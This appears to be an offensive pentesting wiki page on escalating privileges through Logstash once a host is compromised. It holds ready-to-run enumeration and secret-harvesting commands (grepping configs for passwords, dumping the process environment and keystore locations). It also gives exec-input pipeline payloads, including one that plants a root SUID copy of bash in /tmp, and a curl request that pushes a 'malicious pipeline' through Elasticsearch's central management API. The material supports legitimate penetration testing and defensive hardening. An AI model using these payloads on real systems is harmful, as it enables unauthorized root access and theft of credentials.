Logstash Privilege Escalation
Logstash
Logstash is used to gather, transform, and dispatch logs through a system known as pipelines. These pipelines are made up of input, filter, and output stages.[4] An interesting aspect arises when Logstash operates on a compromised machine.
Pipeline Configuration
On Debian and RPM package installs, pipelines are configured via /etc/logstash/pipelines.yml, which lists the locations of the pipeline configurations; other distributions place pipelines.yml in the Logstash path.settings directory.[5][6]
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
This file reveals where the .conf files containing pipeline configurations are located. When using an Elasticsearch output, inspect its user/password, cloud_auth, or api_key settings; the account’s effective privileges depend on Elasticsearch. A path.config glob loads every matching file for that pipeline.[6][7][11]
If Logstash is started with -f <directory> instead of pipelines.yml, -f takes precedence and all files inside that directory are concatenated in lexicographical order and parsed as a single config.[6][7] This creates 2 offensive implications:
- A dropped file like
000-input.conforzzz-output.confcan change how the final pipeline is assembled - A malformed file can make the combined config fail validation; during reload, Logstash retains the previous pipeline, so validate payloads before relying on auto-reload.[1]
Fast Enumeration on a Compromised Host
On a box where Logstash is installed, quickly inspect:
ps aux | grep -i logstash
systemctl cat logstash 2>/dev/null
cat /etc/logstash/pipelines.yml 2>/dev/null
cat /etc/logstash/logstash.yml 2>/dev/null
find /etc/logstash /usr/share/logstash -maxdepth 3 -type f \( -name '*.conf' -o -name 'logstash.yml' -o -name 'pipelines.yml' \) -ls
rg -n --hidden -S 'password|passwd|api[_-]?key|cloud_auth|ssl_keystore_password|truststore_password|user\s*=>|hosts\s*=>' /etc/logstash /usr/share/logstash 2>/dev/null
Also check whether the local monitoring API is reachable. By default it binds on 127.0.0.1:9600, which is usually enough after landing on the host.[8]
curl -s http://127.0.0.1:9600/?pretty
curl -s http://127.0.0.1:9600/_node/pipelines?pretty
curl -s http://127.0.0.1:9600/_node/stats/pipelines?pretty
These endpoints expose pipeline IDs and settings, runtime metrics, and config-reload success/failure counters, helping confirm whether a change was accepted.[8][17][18]
If a recovered credential targets Elasticsearch, check this other page about Elasticsearch.
Privilege Escalation via Writable Pipelines
To attempt privilege escalation, first identify the user under which the Logstash service is actually running; do not assume it is root or the logstash user. Ensure you meet one of these criteria:
- Possess write access to a pipeline .conf file or
- The /etc/logstash/pipelines.yml file uses a wildcard, and you can write to the target folder.[6][7]
Additionally, one of these conditions must be fulfilled:
- Capability to restart the Logstash service or
- The /etc/logstash/logstash.yml file has config.reload.automatic: true set.[1][15]
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution.[7][9] For instance:
input {
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
Here, interval determines the execution frequency in seconds. In the given example, the whoami command runs every 120 seconds, with its output directed to /tmp/output.log.[9]
With config.reload.automatic: true in /etc/logstash/logstash.yml, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart.[1][15] If there’s no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
More Reliable Pipeline Payloads
The exec input plugin still works in current releases and requires either an interval or a schedule. It executes by forking the Logstash JVM, so if memory is tight your payload may fail with ENOMEM instead of silently running.[9]
When the service has sufficient privileges to create a root-owned SUID file, a practical privilege-escalation payload is one that leaves a durable artifact:
input {
exec {
command => "cp /bin/bash /tmp/logroot && chown root:root /tmp/logroot && chmod 4755 /tmp/logroot"
interval => 300
}
}
output {
null {}
}
If you don’t have restart rights but can signal the process, Logstash also supports a SIGHUP-triggered reload on Unix-like systems:[1]
kill -SIGHUP $(pgrep -f logstash)
Be aware that not every plugin is reload-friendly. For example, the stdin input prevents automatic reload, so don’t assume config.reload.automatic will always pick up your changes.[1]
Stealing Secrets from Logstash
Before focusing only on code execution, harvest the data Logstash already has access to:
- Credentials may appear in
elasticsearch {}outputs,http_pollerURLs/settings, JDBC inputs, or cloud-related settings; these plugins expose credential fields worth searching for.[11][12][13] - Secure settings may live in
/etc/logstash/logstash.keystoreor anotherpath.settingsdirectory.[5][10] - The keystore password may be supplied through
LOGSTASH_KEYSTORE_PASS, and RPM/DEB installs source service environment variables from/etc/sysconfig/logstash.[10] - Environment-variable expansion with
${VAR}is resolved at Logstash startup, so the service environment is worth inspecting.[14]
Useful checks:
ls -l /etc/logstash /etc/logstash/logstash.keystore 2>/dev/null
strings /etc/logstash/conf.d/*.conf 2>/dev/null | head
tr '\0' '\n' < /proc/$(pgrep -o -f logstash)/environ 2>/dev/null | sort
cat /etc/sysconfig/logstash 2>/dev/null
journalctl -u logstash --no-pager 2>/dev/null | tail -n 200
ls -lah /var/log/logstash 2>/dev/null
This is also worth checking because CVE-2023-46672 showed that, under specific circumstances, Logstash recorded sensitive information in its logs, including secrets stored in its keystore and referenced from configuration; review old Logstash logs and journald entries if those circumstances may apply.[3]
Centralized Pipeline Management Abuse
In some environments, the host does not rely on local .conf files at all. If xpack.management.enabled: true is configured, Logstash can pull centrally managed pipelines from Elasticsearch/Kibana, and after enabling this mode local pipeline configs are no longer the source of truth.[2]
That means a different attack path:
- Recover Elastic credentials from local Logstash settings, the keystore, or logs.[3][10]
- Verify whether the account has the
manage_logstash_pipelinescluster privilege.[16] - Create or replace a centrally managed pipeline so the Logstash host executes your payload on its next poll interval.[2][16]
The Elasticsearch API used for this feature is:[16]
curl -X PUT http://ELASTIC:9200/_logstash/pipeline/pwned \
-H 'Content-Type: application/json' \
-u user:password \
-d '{
"description": "malicious pipeline",
"last_modified": "2026-01-02T02:50:51.250Z",
"username": "user",
"pipeline": "input { exec { command => \"id > /tmp/.ls-rce\" interval => 120 } } output { null {} }",
"pipeline_metadata": {"type": "logstash_pipeline", "version": "1"},
"pipeline_settings": {
"pipeline.workers": 1,
"pipeline.batch.size": 1,
"pipeline.batch.delay": 50,
"queue.type": "memory",
"queue.max_bytes": "1gb",
"queue.checkpoint.writes": 1024
}
}'
This is especially useful when local files are read-only but Logstash is already registered to fetch pipelines remotely.[2][16]
References
- [1] Elastic Docs: Reloading the Config File
- [2] Elastic Docs: Configure Centralized Pipeline Management
- [3] Logstash 8.11.1 Security Update (ESA-2023-26) - CVE-2023-46672
- [4] Elastic Docs: Creating a Logstash Pipeline
- [5] Elastic Docs: Logstash Directory Layout
- [6] Elastic Docs: Multiple Pipelines
- [7] Elastic Docs: Running Logstash from the Command Line
- [8] Elastic Docs: Monitoring Logstash with APIs
- [9] Elastic Docs: Exec input plugin
- [10] Elastic Docs: Secrets keystore for secure settings
- [11] Elastic Docs: Elasticsearch output plugin
- [12] Elastic Docs: Http_poller input plugin
- [13] Elastic Docs: Jdbc input plugin
- [14] Elastic Docs: Using environment variables
- [15] Elastic Docs: logstash.yml
- [16] Elasticsearch API: Create or update a Logstash pipeline
- [17] Logstash API: Get settings for pipelines
- [18] Logstash API: Get statistics for pipelines